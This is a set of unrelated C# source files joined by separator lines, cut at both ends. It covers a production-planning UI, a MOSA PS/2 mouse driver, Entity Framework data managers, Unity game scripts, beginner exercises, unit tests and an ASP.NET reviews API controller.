Ueberminuten12.Text = (((int.Parse(Kapazitaetneu12.Text)) - (2400 * S12)) > 0) ? ((int.Parse(Kapazitaetneu12.Text)) - (2400 * S12)).ToString() : "0";
Ueberminuten13.Text = (((int.Parse(Kapazitaetneu13.Text)) - (2400 * S13)) > 0) ? ((int.Parse(Kapazitaetneu13.Text)) - (2400 * S13)).ToString() : "0";
Ueberminuten14.Text = (((int.Parse(Kapazitaetneu14.Text)) - (2400 * S14)) > 0) ? ((int.Parse(Kapazitaetneu14.Text)) - (2400 * S14)).ToString() : "0";
Ueberminuten15.Text = (((int.Parse(Kapazitaetneu15.Text)) - (2400 * S15)) > 0) ? ((int.Parse(Kapazitaetneu15.Text)) - (2400 * S15)).ToString() : "0";
}
private void outputRepoAktualisieren()
{
}
private void onClickNavigationButton(object sender, RoutedEventArgs e)
{
Button b = sender as Button;
string s = b.Name;
outputRepoAktualisieren();
switch (s)
{
case "xml_input":
var xml_input = new ImportXML();
xml_input.Show();
this.Close();
break;
case "mengenplanung":
var mengenplanung = new Mengenplanung();
mengenplanung.Show();
this.Close();
break;
case "dispo_e_p1":
var dispo_e_p1 = new DispoEigenfertigungP1();
dispo_e_p1.Show();
this.Close();
break;
case "dispo_e_p2":
var dispo_e_p2 = new DispoEigenfertigungP2();
dispo_e_p2.Show();
this.Close();
break;
case "dispo_e_p3":
var dispo_e_p3 = new DispoEigenfertigungP3();
dispo_e_p3.Show();
this.Close();
break;
case "kapazitaetsplan":
var kapazitaetsplan = new Kapazitaetsplan();
kapazitaetsplan.Show();
this.Close();
break;
case "dispo_kaufteile":
var dispo_kaufteile = new DispoKaufteile();
dispo_kaufteile.Show();
this.Close();
break;
case "xml_output":
var xml_output = new ExportXML();
xml_output.Show();
this.Close();
break;
}
}
}
}
|
using Mosa.Kernel.x86;
using System;
namespace $safeprojectname$
{
public static class PS2Mouse
{
private const byte Port_KeyData = 0x0060;
private const byte Port_KeyStatus = 0x0064;
private const byte Port_KeyCommand = 0x0064;
private const byte KeyStatus_Send_NotReady = 0x02;
private const byte KeyCommand_Write_Mode = 0x60;
private const byte KBC_Mode = 0x47;
private const byte KeyCommand_SendTo_Mouse = 0xd4;
private const byte MouseCommand_Enable = 0xf4;
public static void Wait_KBC()
{
for (; ; )
{
if ((IOPort.In8(Port_KeyStatus) & KeyStatus_Send_NotReady) == 0)
{
break;
}
}
}
public static void Initialize(int XRes, int YRes)
{
ScreenWidth = XRes;
ScreenHeight = YRes;
X = ScreenWidth / 2;
Y = ScreenHeight / 2;
Wait_KBC();
IOPort.Out8(Port_KeyCommand, KeyCommand_Write_Mode);
Wait_KBC();
IOPort.Out8(Port_KeyData, KBC_Mode);
//Enable
Wait_KBC();
IOPort.Out8(Port_KeyCommand, KeyCommand_SendTo_Mouse);
Wait_KBC();
IOPort.Out8(Port_KeyData, MouseCommand_Enable);
Btn = "";
Console.WriteLine("PS/2 Mouse Enabled");
}
private static int Phase = 0;
public static byte[] MData = new byte[3];
private static int aX;
private static int aY;
public static string Btn;
public static int X = 0;
public static int Y = 0;
public static int ScreenWidth = 0;
public static int ScreenHeight = 0;
public static void OnInterrupt()
{
byte D = IOPort.In8(Port_KeyData);
if (Phase == 0)
{
if (D == 0xfa)
{
Phase = 1;
}
return;
}
if (Phase == 1)
{
if ((D & 0xc8) == 0x08)
{
MData[0] = D;
Phase = 2;
}
return;
}
if (Phase == 2)
{
MData[1] = D;
Phase = 3;
return;
}
if (Phase == 3)
{
MData[2] = D;
Phase = 1;
MData[0] &= 0x07;
switch (MData[0])
{
case 0x01:
Btn = "Left";
break;
case 0x02:
Btn = "Right";
break;
default:
Btn = "None";
break;
}
if (MData[1] > 127)
{
aX = -(255 - MData[1]);
}
else
{
aX = MData[1];
}
if (MData[2] > 127)
{
aY = -(255 - MData[2]);
}
else
{
aY = MData[2];
}
X = Math.Clamp(X + aX, 0, ScreenWidth);
Y = Math.Clamp(Y - aY, 0, ScreenHeight);
return;
}
return;
}
}
}
|
using BlockChain;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace ReportGenerator
{
public class Generator
{
private static BlockchainData blockchainData;
private static UIData uIData;
public static void Generate(ReportType reportType, ReportExt reportExt, DateTime begin, DateTime end, int personID, ref BlockChainHandler blockChainHandler)
{
WrongDataHandler dataHandler = new WrongDataHandler();
uIData = new UIData(reportExt, begin, end, personID, reportType);
blockchainData = new BlockchainData(ref blockChainHandler);
switch (uIData.ReportType)
{
case ReportType.PrescriptionsReport:
if (dataHandler.WrongDataNotification(blockchainData.GetPrescriptionListForPatient(uIData.PersonID)))
throw new WrongDataHandler("Patient does not have any prescriptions");
break;
case ReportType.SoldMedicamentsReport:
if (dataHandler.WrongDataNotification(blockchainData.GetPrescriptionListForPharmacist(uIData.PersonID)))
throw new WrongDataHandler("Pharmacist does not have any sold medicaments");
break;
default:
throw new NotImplementedException();
}
switch (uIData.FileFormat)
{
case ReportExt.PDF:
GenerateFile generatePDF = new GeneratePDF(uIData.ReportType, blockchainData, uIData.PersonID, uIData.Begin, uIData.End);
break;
case ReportExt.CSV:
GenerateFile generateCSV = new GenerateCSV(uIData.ReportType, blockchainData, uIData.PersonID, uIData.Begin, uIData.End);
break;
default:
throw new NotImplementedException();
}
}
}
}
|
using System;
class ReverseOrder
{
static void ReverseNumbers(int number)
{
int devidedNumber = number;
int remainder = 0;
while (devidedNumber != 0)
{
remainder = devidedNumber % 10;
devidedNumber = devidedNumber / 10;
Console.Write(remainder);
}
}
static void Main()
{
ReverseNumbers(256782);
Console.WriteLine();
}
}
|
using KekManager.Database.Interfaces;
using KekManager.Security.Domain;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Text;
namespace KekManager.Security.Data.Contexts
{
public interface ISecurityDbContext : IDatabaseContext
{
DbSet<SecurityUser> SecurityUser { get; set; }
}
}
|
/* 3. Write a program that safely compares floating-point numbers with precision of 0.000001.
* Examples:(5.3 ; 6.01) -> false; (5.00000001 ; 5.00000003) -> true */
using System;
class CompareFloatingPointNumbers
{
static void Main()
{
float firstNumber = 5.00000001f;
float secondNumber = 5.00000003f;
// checks if the numbers are equal without an "if" condition
bool areEqual = firstNumber == secondNumber;
Console.WriteLine(areEqual);
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using IES.JW.Model;
using IES.CC.OC.Model;
namespace IES.Service
{
/// <summary>
/// 用户获取相关的权限
/// </summary>
public class AuService
{
/// <summary>
/// 系统用户授权信息加载
/// </summary>
/// <returns></returns>
public static bool AuLoad()
{
try
{
Menu_List();
AuModule_List();
AuAction_List();
AuRole_List();
AuRoleModule_List();
AuUserRoleOrg_List();
AuRoleModule_ByUserRole_List();
return true;
}
catch (Exception e)
{
return false;
}
}
/// <summary>
/// 获取菜单列表
/// </summary>
/// <returns></returns>
public static List<Menu> Menu_List()
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.Menu_List();
}
/// <summary>
/// 获取模块列表
/// </summary>
/// <returns></returns>
public static List<AuModule> AuModule_List()
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.AuModule_List();
}
/// <summary>
/// 加载模块行为列表
/// </summary>
/// <returns></returns>
public static List<AuAction> AuAction_List()
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.AuAction_List();
}
/// <summary>
/// 获取角色列表
/// </summary>
/// <returns></returns>
public static List<AuRole> AuRole_List()
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.AuRole_List();
}
/// <summary>
/// 获取角色模块列表
/// </summary>
/// <returns></returns>
public static List<AuRoleModule> AuRoleModule_List()
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.AuRoleModule_List();
}
/// <summary>
///获取用户模块行为角色列表
/// </summary>
/// <returns></returns>
public static List<AuRoleModule> AuRoleModule_ByUserRole_List()
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.AuRoleModule_ByUserRole_List();
}
/// <summary>
/// 用户角色组织机构列表
/// </summary>
/// <returns></returns>
public static List<AuUserRoleOrg> AuUserRoleOrg_List()
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.AuUserRoleOrg_List();
}
/// <summary>
/// 获取所有用户的指定在线课程模块列表
/// </summary>
/// <param name="OCID"></param>
/// <returns></returns>
public static List<AuUserModule> AuUserModule_List(string ocid)
{
IES.G2S.JW.BLL.AuBLL aubll = new IES.G2S.JW.BLL.AuBLL();
return aubll.AuUserModule_List(ocid);
}
/// <summary>
/// 获取顶部的导航菜单
/// </summary>
/// <param name="model"></param>
/// <param name="scope"></param>
/// <returns></returns>
public static List<Menu> Menu_Top_List( int scope )
{
User user = UserService.CurrentUser;
List<Menu> topmenulist = Menu_List().Where(x => x.ParentID.Equals("0") && x.Scope == scope).ToList<Menu>();
return topmenulist;
}
/// <summary>
/// 获取左侧的导航菜单
/// </summary>
/// <param name="model"></param>
/// <param name="ParentID"></param>
/// <param name="scope"></param>
/// <returns></returns>
public static List<Menu> Menu_Left_List(string ParentID , int scope )
{
if (ParentID == "B2")
{
if (!UserService.IsTeacher)
{
ParentID = "C2";
scope = 3;
}
}
List<Menu> leftmenulist = new List<Menu>();
if( ParentID != "D" )
leftmenulist = Menu_List().Where( x => x.ParentID.Equals(ParentID) && x.Scope == scope).ToList<Menu>();
else
leftmenulist = Menu_List().Where( x => x.ParentID.Equals(ParentID) ).ToList<Menu>();
return leftmenulist;
}
/// <summary>
/// 获取用户的下拉菜单,该菜单为全局菜单
/// </summary>
/// <returns></returns>
public static List<Menu> Menu_UserDropDown_List()
{
List<Menu> userdropdownmenulist = Menu_List().Where(x => x.ParentID.Equals("D") && x.Scope == 0 ).ToList<Menu>();
return userdropdownmenulist ;
}
/// <summary>
/// 获取上级菜单列表
/// </summary>
/// <param name="MenuID"></param>
/// <returns></returns>
public static Menu ParentMenu(string MenuID)
{
if (MenuID == null)
return new Menu();
Menu parentmenu = Menu_List().Where(x => x.MenuID == MenuID.Substring( 0,MenuID.Length -1 ) ).Single<Menu>();
return parentmenu;
}
/// <summary>
/// 当前菜单编号
/// </summary>
/// <param name="MenuID"></param>
/// <returns></returns>
public static Menu CurrentMenu( string MenuID )
{
if (MenuID == null)
return new Menu();
Menu menu = Menu_List().Where( x => x.MenuID == MenuID ).Single<Menu>();
return menu;
}
}
}
|
//
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
//
namespace DotNetNuke.UI.WebControls
{
/// -----------------------------------------------------------------------------
/// <summary>
/// Enumeration that determines the label mode
/// </summary>
/// <remarks>
/// LabelMode is used by <see cref="DotNetNuke.UI.WebControls.PropertyEditorControl">PropertyEditorControl</see>
/// to determine how the label is displayed.
/// </remarks>
/// -----------------------------------------------------------------------------
public enum LabelMode
{
None = 0,
Left,
Right,
Top,
Bottom
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.Entity;
using EntityFramework.Extensions;
using SO.Urba.Models.ValueObjects;
using SO.Urba.DbContexts;
using SO.Urba.Managers.Base;
using SO.Utility.Classes;
using SO.Utility.Models.ViewModels;
using SO.Utility;
using SO.Utility.Helpers;
using SO.Utility.Extensions;
using SO.Urba.Models.ViewModels;
using System.Data.Entity.SqlServer;
namespace SO.Urba.Managers
{
public class CompanyManager : CompanyManagerBase
{
public CompanyManager()
{
}
public CompanySearchFilterVm search(CompanySearchFilterVm input)
{
using (var db = new MainDb())
{
var query = db.companies
.Include(i => i.contactInfo)
.Include(s => s.referralses)
.Include("referralses.surveyAnswerses")
.Include(c => c.companyCategoryLookupses)
.Include(k => k.companyCategoryLookupses.Select(v => v.companyCategoryType))
.OrderByDescending(b => b.created)
.Where(e => (input.isActive == null || e.isActive == input.isActive)
&& (e.companyName.Contains(input.keyword) || string.IsNullOrEmpty(input.keyword))
&& (e.companyCategoryLookupses.Any(b => b.companyCategoryTypeId == input.companyCategoryTypeId) || input.companyCategoryTypeId == null)
);
if (input.paging != null)
{
input.paging.totalCount = query.Count();
query = query
.Skip(input.paging.skip)
.Take(input.paging.rowCount);
}
input.result = query
.ToList()
.Select(c =>
{
var surveyAnswers = c.referralses.SelectMany(r => r.surveyAnswerses);
var score = (surveyAnswers.Count(u => u.answer != null) == 0 ? null : (decimal?)surveyAnswers.Select(u => u.answer).Sum() / surveyAnswers.Count(u => u.answer != null)) * 20;
c.score = (score != null) ? (decimal?)Math.Round(score.GetValueOrDefault(), 2) : null;
c.scoreCount = surveyAnswers.Select(u => u.referralId).Distinct().Count();
return c;
})
.ToList<object>();
return input;
}
}
public CompanySearchFilterVm contactsByProvider(CompanySearchFilterVm input)
{
using (var db = new MainDb())
{
var query = db.companies
.Include(i => i.contactInfo)
.Include(c => c.companyCategoryLookupses)
.Include(k => k.companyCategoryLookupses.Select(v => v.companyCategoryType))
.Include(j => j.referralses.Select(m => m.surveyAnswerses))
.OrderByDescending(b => b.created)
.Where(e => (input.isActive == null || e.isActive == input.isActive)
&& (e.companyName.Contains(input.keyword) || string.IsNullOrEmpty(input.keyword))
&& (e.companyCategoryLookupses.Any(b => b.companyCategoryTypeId == input.companyCategoryTypeId) || input.companyCategoryTypeId == null)
);
input.result = query.ToList<object>();
if (input.result != null)
{
var items = query.Select(i =>
new
{
Id = i.companyId,
CompanyName = i.companyName,
FirstName = i.contactInfo.firstName,
LastName = i.contactInfo.lastName,
WorkPhone = i.contactInfo.workPhone,
License = i.license,
Bonded = i.bonded,
AgreementSigned = SqlFunctions.DateName("day", i.agreementSigned).Trim() + "/" +
SqlFunctions.StringConvert((double)i.agreementSigned.Value.Month).TrimStart() + "/" +
SqlFunctions.DateName("year", i.agreementSigned),
//score_up = (i.referralses.Any(r => r.companyId == i.companyId)
// ? i.referralses.Sum(x => x.surveyAnswerses.Sum(r => r.answer)) * 20
// : null),
//score_dn = i.referralses.Sum(t => t.surveyAnswerses.Count()),
Score = (i.referralses.Any(r => r.companyId == i.companyId)
? (decimal?)i.referralses.Sum(x => x.surveyAnswerses.Sum(r => r.answer)) * 20 / i.referralses.Sum(t => t.surveyAnswerses.Count())
: null),
ScoreCount = (i.referralses.Any(r => r.companyId == i.companyId)
? i.referralses.Where(e => e.surveyAnswerses.Any(b => b.referralId != null)).Count()
: 0)
}).ToList<object>();
input.result = items;
}
return input;
}
}
//
public List<CompanyVo> getAllOfGivenCategory(int companyCategoryTypeId, bool? isActive = true)
{
using (var db = new MainDb())
{
List<CompanyVo> companyList = new List<CompanyVo>();
var query = (
from _company in db.companies
join _contactInfo in db.contactInfos on _company.contactInfoId equals _contactInfo.contactInfoId
from _companyCategoryLookup in db.companyCategoryLookups.Where(cct => _company.companyId == cct.companyId).DefaultIfEmpty()
from _Referral in db.referrals.Where(_Referral => _company.companyId == _Referral.companyId).DefaultIfEmpty()
from _surveyAnswers in db.surveyAnswers.Where(_surveyAnswers => _surveyAnswers.referralId == _Referral.referralId).DefaultIfEmpty()
where _companyCategoryLookup.companyCategoryTypeId == companyCategoryTypeId
group new
{
_company.companyId,
_company.companyName,
_contactInfo.firstName,
_contactInfo.lastName,
_contactInfo.workPhone,
_company.license,
_company.bonded,
_company.agreementSigned,
_surveyAnswers
}
by
new
{
_company.companyId,
_company.companyName,
_contactInfo.firstName,
_contactInfo.lastName,
_contactInfo.workPhone,
_company.license,
_company.bonded,
_company.agreementSigned
}
into g
select new
{
companyId = g.Key.companyId,
companyName = g.Key.companyName,
firstName = g.Key.firstName,
lastName = g.Key.lastName,
workPhone = g.Key.workPhone,
license = g.Key.license,
bonded = g.Key.bonded,
agreementSigned = g.Key.agreementSigned,
a_score = ((decimal?)g.Sum(t => t._surveyAnswers.answer) / g.Count(u => u._surveyAnswers.answer != null)) * 20,
score = ((decimal?)g.Select(u => u._surveyAnswers.answer).Sum() / g.Count(u => u._surveyAnswers.answer != null)) * 20,
scoreCount = g.Select(u => u._surveyAnswers.referralId).Distinct().Count(z => z != null)
}
);
var items = query.ToList();
foreach (var obj in items)
{
CompanyVo c = new CompanyVo();
c.contactInfo = new ContactInfoVo();
c.companyId = obj.companyId;
c.companyName = obj.companyName;
c.contactInfo.firstName = obj.firstName;
c.contactInfo.lastName = obj.lastName;
c.contactInfo.workPhone = obj.workPhone;
c.score = (obj.score != null) ? (decimal?)Math.Round(obj.score.GetValueOrDefault(), 2) : null;
c.scoreCount = obj.scoreCount;
companyList.Add(c);
}
return companyList;
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Ex_Polynômes
{
class Polynome
{
public Monome _premier{ private set; get; }
public Monome _dernier{ private set; get; }
// constructeur permettant d'initialiser les variables : _coefficient et _exposant
public Polynome() { }
// Méthode permettant d'ajouter un monôme au polynôme
public void Ajouter(Monome m)
{
// Liste vide
if (_premier == null)
{
_premier = m;
_dernier = m;
}
// Cas du premier élement
else if (m.Exposant < _premier.Exposant)
{
m.Suivant = _premier;
_premier.Precedent = m;
_premier = m;
}
// Cas général
else {
Monome cur = _premier;
// On avance dans la liste jusqu'au bon endroit
while (cur.Suivant != null && cur.Suivant.Exposant < m.Exposant)
{
cur = cur.Suivant;
}
// Cas du dernier élément
if (cur.Suivant == null)
{
cur.Suivant = m;
m.Precedent = cur;
_dernier = m;
}
// Cas général
else
{
m.Suivant = cur.Suivant;
cur.Suivant = m.Precedent;
cur.Suivant = m;
m.Precedent = cur;
}
}
}
public double eval(double x)
{
double res = 0;
Monome cur = _dernier;
while (cur.Precedent != null)
{
res += cur.eval(x);
cur = cur.Precedent;
}
res += _premier.eval(x);
return res;
}
// Méthode d'affichage
public override string ToString()
{
string res = "";
Monome curseur = _dernier;
while (curseur.Precedent != null)
{
res += curseur.ToString() + " + ";
curseur = curseur.Precedent;
}
res += _premier;
return res;
}
}
}
|
using PetSharing.Contracts.UserContracts;
using System;
using System.Collections.Generic;
using System.Text;
namespace PetSharing.Contracts
{
public class CommentContract
{
public int Id { get; set; }
public int PostId { get; set; }
public int LikeCount { get; set; }
public string Text { get; set; }
public DateTime? Date { get; set; }
public UserShortInfoContract User {get;set;}
public CommentContract()
{
if(User == null)
User = new UserShortInfoContract();
}
}
} |
using DataLayer.TipoAccesosData;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace BusinessLayer.TipoAccesos
{
public class TipoAccesos : BusinessBase
{
#region Constructores
public TipoAccesos
(UtileriasConexion.TipoConexion tipoConexion)
: base(tipoConexion)
{
this.DataManager = new TipoAccesosData(this.factory);
this.DataManager.ObjetoNegocio = this;
}
#endregion
#region Metodos y funciones
/// <summary>
/// Limpia el control
/// </summary>
///
/// <summary>
/// Método para consultar a las personas de la tabla Accesos
/// </summary>
public void ConsultarTiposAccesos()
{
(DataManager as TipoAccesosData).AsignarParametros(parametros);
(DataManager as TipoAccesosData).ConsultarTipoAccesos();
}
#endregion
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace FileParse
{
class FileParseException : Exception
{
public FileParseException(string fileName, int exceptionLine)
: base(String.Format("Error! Can't parse to int line {1} in file: \"{0}\".", fileName, exceptionLine))
{
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class DamageDealer : MonoBehaviour
{
[SerializeField]
FloatReference damagePoints = null;
public float DamagePoints
{
get => damagePoints;
}
public void OnHit()
{
gameObject.SetActive(false);
}
}
|
using System.Collections;
using OuterRimStudios.Utilities;
using UnityEngine;
using Random = UnityEngine.Random;
public class Panel : MonoBehaviour
{
private int NUM_SOCKETS = 6;
private int NUM_ROUNDS = 3;
public GameObject sockets;
public GameObject vacuumTubes;
public Animator buttonPanel;
public Animator socketedVacuumTubesAnimator;
public WarpButton warpButton;
public GameObject vacuumTubePrefab;
public string possibleCharacters;
private int lockedSocketCount = 0;
private int roundIndex = 0;
private Transform[][] rounds;
private static readonly int WinRound = Animator.StringToHash("WinRound");
void Start()
{
rounds = InitializeRounds();
StartNewRound();
}
private void StartNewRound()
{
// Win
if (roundIndex == NUM_ROUNDS)
{
foreach (Transform socket in sockets.transform)
{
socket.GetComponent<Socket>().character = ' ';
}
buttonPanel.SetTrigger("OpenPanel");
warpButton.Activate();
return;
}
var roundSockets = rounds[roundIndex];
var characters = possibleCharacters.ToCharArray().GetRandomItems(roundSockets.Length + 2);
var socketChars = characters.GetRandomItems(roundSockets.Length);
foreach (var character in characters)
{
GenerateVacuumTube(character);
}
for (var i = 0; i < roundSockets.Length; i++)
{
roundSockets[i].GetComponent<Socket>().character = socketChars[i];
}
}
public void NewLockedSocket()
{
// Win round
if (++lockedSocketCount == rounds[roundIndex].Length)
{
socketedVacuumTubesAnimator.SetTrigger(WinRound);
lockedSocketCount = 0;
roundIndex++;
StartCoroutine(DelayedStartNewRound());
}
}
private IEnumerator DelayedStartNewRound()
{
yield return new WaitForSeconds(1.1f);
StartNewRound();
}
private void GenerateVacuumTube(char character)
{
var position = transform.position;
var x = position.x + Random.value * 1.5f - 0.75f;
var y = position.y - .3f;
var z = position.z;
var newTube = Instantiate(vacuumTubePrefab, new Vector3(x, y, z), Random.rotation);
newTube.transform.SetParent(vacuumTubes.transform);
newTube.GetComponent<VacuumTube>().Initialize(character);
}
private Transform[][] InitializeRounds()
{
var roundOneSockets = new[]
{
sockets.transform.GetChild(2), sockets.transform.GetChild(3)
};
var roundTwoSockets = new[]
{
sockets.transform.GetChild(1), sockets.transform.GetChild(2),
sockets.transform.GetChild(3), sockets.transform.GetChild(4),
};
var roundThreeSockets = new Transform[6];
for (var i = 0; i < NUM_SOCKETS; i++)
{
roundThreeSockets[i] = sockets.transform.GetChild(i);
}
return new[] {roundOneSockets, roundTwoSockets, roundThreeSockets};
}
} |
using System;
namespace Fonlow.Testing
{
public class IisExpressFixture : IisExpressFixtureBase
{
public IisExpressFixture(): base(!String.IsNullOrWhiteSpace(TestingSettings.Instance.HostSite))
{
}
}
}
|
using System;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using OmniSharp.Extensions.LanguageServer.Protocol.Models;
namespace OmniSharp.Extensions.LanguageServer.Protocol.Serialization.Converters
{
public class TextEditOrInsertReplaceEditConverter : JsonConverter<TextEditOrInsertReplaceEdit>
{
public override void WriteJson(JsonWriter writer, TextEditOrInsertReplaceEdit value, JsonSerializer serializer)
{
if (value.IsTextEdit)
{
serializer.Serialize(writer, value.TextEdit);
}
else if (value.IsInsertReplaceEdit)
{
serializer.Serialize(writer, value.InsertReplaceEdit);
}
else
{
writer.WriteNull();
}
}
public override TextEditOrInsertReplaceEdit ReadJson(JsonReader reader, Type objectType, TextEditOrInsertReplaceEdit existingValue, bool hasExistingValue, JsonSerializer serializer)
{
var result = JObject.Load(reader);
// InsertReplaceEdit have a name, TextEdits do not
var command = result["insert"];
if (command?.Type == JTokenType.String)
{
return new TextEditOrInsertReplaceEdit(result.ToObject<InsertReplaceEdit>());
}
return new TextEditOrInsertReplaceEdit(result.ToObject<TextEdit>());
}
public override bool CanRead => true;
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using LePapeo.Models;
using LePapeoGenNHibernate.EN.LePapeo;
namespace LePapeo.Models
{
public class AssemblerHorarioSemana
{
public HorarioSemanaViewModel ConvertENToModelUI(HorarioSemanaEN semEN)
{
HorarioSemanaViewModel sem = new HorarioSemanaViewModel();
sem.Id = semEN.Id;
return sem;
}
public IList<HorarioSemanaViewModel> ConvertListENToModel (IList<HorarioSemanaEN> seml){
IList<HorarioSemanaViewModel> semVM = new List<HorarioSemanaViewModel>();
foreach (HorarioSemanaEN en in seml)
{
semVM.Add(ConvertENToModelUI(en));
}
return semVM;
}
}
} |
using System;
using System.Linq;
using Xunit;
namespace TreeStore.Model.Test
{
public class FacetTest
{
[Fact]
public void Facet_hasnt_properties_at_the_beginning()
{
// ACT
var facet = new Facet();
// ASSERT
Assert.Empty(facet.Properties);
}
[Fact]
public void Facet_adds_property()
{
// ARRANGE
var facet = new Facet();
var property = new FacetProperty();
// ACT
facet.AddProperty(property);
// ASSERT
Assert.Equal(property, facet.Properties.Single());
}
[Fact]
public void Facet_removes_property()
{
// ARRANGE
var property1 = new FacetProperty();
var property2 = new FacetProperty();
var facet = new Facet("facet", property1, property2);
// ACT
facet.RemoveProperty(property2);
// ASSERT
Assert.Equal(property1, facet.Properties.Single());
}
[Fact]
public void Facet_rejects_duplicate_property_name()
{
// ARRANGE
var facet = new Facet(string.Empty, new FacetProperty("name"));
// ACT
var result = Assert.Throws<InvalidOperationException>(() => facet.AddProperty(new FacetProperty("name")));
// ASSERT
Assert.Equal("duplicate property name: name", result.Message);
}
}
} |
namespace SGDE.Domain.ViewModels
{
public class WorkBudgetDataViewModel : BaseEntityViewModel
{
public string description { get; set; }
public string reference { get; set; }
public int workId { get; set; }
public string workName { get; set; }
public double? total { get; set; }
}
}
|
using ITQJ.Domain.DTOs;
using ITQJ.Domain.Entities;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Internal;
using System;
using System.Collections.Generic;
using System.Linq;
namespace ITQJ.API.Controllers
{
[ApiController]
[Authorize]
[Route("api/[controller]")]
public class ReviewsController : BaseController
{
public ReviewsController(IServiceProvider serviceProvider)
: base(serviceProvider) { }
[HttpGet("{userId}")]
public ActionResult GetReviews([FromRoute] Guid userId, [FromQuery] int pageIndex = 1, [FromQuery] int maxResults = 5)
{
if (userId == null || userId == new Guid())
return BadRequest(new { Message = $"Error: el {nameof(userId)} no puede ser nulo." });
if (pageIndex < 1)
return BadRequest(new { Message = $"Error: value for pageIndex={pageIndex} is lower than the minimund expected." });
if (maxResults < 5)
return BadRequest(new { Message = $"Error: value for maxResults={maxResults} is lower than the minimund expected." });
var reviews = this._appDBContext.Reviews
.Where(x => x.UserId == userId && x.DeletedFlag == false)
.Skip((pageIndex - 1) * maxResults)
.Take(maxResults)
.ToList();
var reviewsCount = this._appDBContext.Reviews
.Where(x => x.UserId == userId && x.DeletedFlag == false)
.Count();
var pagesCount = Math.Ceiling((float)reviewsCount / (float)maxResults);
var reviewsModel = this._mapper.Map<IEnumerable<ReviewResponseDTO>>(reviews);
return Ok(new
{
Message = "Ok",
Result = new
{
TotalCount = reviewsCount,
ResultCount = reviewsModel.Count(),
TotalPages = pagesCount,
PageIndex = pageIndex,
Reviews = reviewsModel
}
});
}
[HttpGet("pending/{userId}")]
public ActionResult GetPendingReviews([FromRoute] Guid userId, [FromQuery] int pageIndex, [FromQuery] int maxResults, [FromQuery] string role)
{
if (userId == null || userId == new Guid())
return BadRequest(new { Message = $"Error: el valor de {nameof(userId)} no puede ser nulo." });
if (pageIndex < 1)
return BadRequest(new { Error = $"Error: value for pageIndex={pageIndex} is lower than the minimund expected." });
if (maxResults < 5)
return BadRequest(new { Error = $"Error: value for maxResults={maxResults} is lower than the minimund expected." });
if (string.IsNullOrWhiteSpace(role))
return BadRequest(new { Message = $"Error: el valor de {nameof(role)} no puede ser nulo." });
int projectsToReviewCount = 0;
var projectsToReview = new List<ProjectResponseDTO>();
if (role == "Profesional")
{
var tempProjectsToReview = this._appDBContext.Projects
.Include(i => i.User)
.Where(x =>
x.Postulants.Any(y =>
y.ProjectId == x.Id &&
y.IsSelected == true &&
y.UserId == userId &&
y.HasProyectReview == false) &&
x.IsOpen == false)
.Skip((pageIndex - 1) * maxResults)
.Take(maxResults)
.ToList();
projectsToReview = _mapper.Map<List<ProjectResponseDTO>>(tempProjectsToReview);
if (projectsToReview.Count > 0)
projectsToReviewCount = this._appDBContext.Projects
.Include(i => i.User)
.Where(x =>
x.Postulants.Any(y =>
y.ProjectId == x.Id &&
y.IsSelected == true &&
y.UserId == userId &&
y.HasProyectReview == false) &&
x.IsOpen == false)
.Count();
}
else if (role == "Contratista")
{
var tempProjectsToReview = this._appDBContext.Projects
.Where(x =>
x.Postulants.Any(y =>
y.ProjectId == x.Id &&
y.IsSelected == true &&
y.HasWorkReview == false) &&
x.UserId == userId)
.Skip((pageIndex - 1) * maxResults)
.Take(maxResults)
.ToList();
projectsToReview = _mapper.Map<List<ProjectResponseDTO>>(tempProjectsToReview);
if (projectsToReview.Count > 0)
projectsToReviewCount = this._appDBContext.Projects
.Where(x =>
x.Postulants.Any(y =>
y.ProjectId == x.Id &&
y.IsSelected == true &&
y.HasWorkReview == false) &&
x.UserId == userId)
.Count();
}
else
{
return Unauthorized(new
{
Message = "Error: Intento de acceso fallido."
});
}
var pagesCount = Math.Ceiling((float)projectsToReviewCount / (float)maxResults);
return Ok(new
{
Message = "Ok",
ResultCount = projectsToReviewCount,
Result = new
{
TotalCount = projectsToReviewCount,
ResultCount = projectsToReview.Count(),
TotalPages = pagesCount,
PageIndex = pageIndex,
ProjectsToReview = projectsToReview
}
});
}
[HttpPost]
public ActionResult CreateReview([FromBody] ReviewCreateDTO reviewData)
{
if (!ModelState.IsValid)
{
return BadRequest(new
{
Message = "La informacion de registro del proyecto son invalidos.",
ErrorsCount = ModelState.ErrorCount,
Errors = ModelState.Select(x => x.Value.Errors)
});
}
var newReview = this._mapper.Map<Review>(reviewData);
if (newReview == null)
return BadRequest(new { Error = "No se enviaron los datos esperados." });
var tempReview = this._appDBContext.Reviews.Add(newReview);
this._appDBContext.SaveChanges();
